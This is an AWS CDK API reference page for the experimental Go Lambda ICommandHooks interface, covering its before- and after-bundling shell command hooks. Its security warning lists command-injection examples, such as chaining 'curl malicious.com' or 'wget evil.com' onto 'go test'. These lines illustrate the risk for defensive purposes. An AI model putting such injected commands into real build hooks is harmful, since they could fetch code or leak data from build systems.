Skip to content
v2.277.0

Experimental

@aws-cdk/aws-lambda-go-alpha is an experimental (alpha) package: its API may change in any release, without a major version bump.

ICommandHooks Interface ​

Command hooks.

These commands will run in the environment in which bundling occurs: inside the container for Docker bundling or on the host OS for local bundling.

⚠️ Security Warning: Commands are executed directly in the shell environment. Only use trusted commands and avoid shell metacharacters that could enable command injection attacks.

Safe patterns (cross-platform):

  • go test ./... - Standard Go commands work on all platforms
  • go mod tidy - Go module commands
  • echo "Building" - Simple output with quotes
  • make clean - Build tools (if available)

Dangerous patterns to avoid:

Windows:

  • go test & curl.exe malicious.com (command chaining)
  • echo %USERPROFILE% (environment variable expansion)
  • powershell -Command "..." (PowerShell execution)

Unix/Linux/macOS:

  • go test; curl malicious.com (command chaining)
  • echo $(whoami) (command substitution)
  • bash -c "wget evil.com" (shell execution)

Commands are chained with &&.

Methods ​

afterBundling(inputDir: string, outputDir: string): string[]def after_bundling(self, input_dir: str, output_dir: str) -> typing.List[str]public List<String> afterBundling(String inputDir, String outputDir)public string[] AfterBundling(string inputDir, string outputDir)func AfterBundling(InputDir *string, OutputDir *string) *[]*string#
Returns commands to run after bundling.

⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.

Commands are chained with &&.

beforeBundling(inputDir: string, outputDir: string): string[]def before_bundling(self, input_dir: str, output_dir: str) -> typing.List[str]public List<String> beforeBundling(String inputDir, String outputDir)public string[] BeforeBundling(string inputDir, string outputDir)func BeforeBundling(InputDir *string, OutputDir *string) *[]*string#
Returns commands to run before bundling.

⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.

Commands are chained with &&.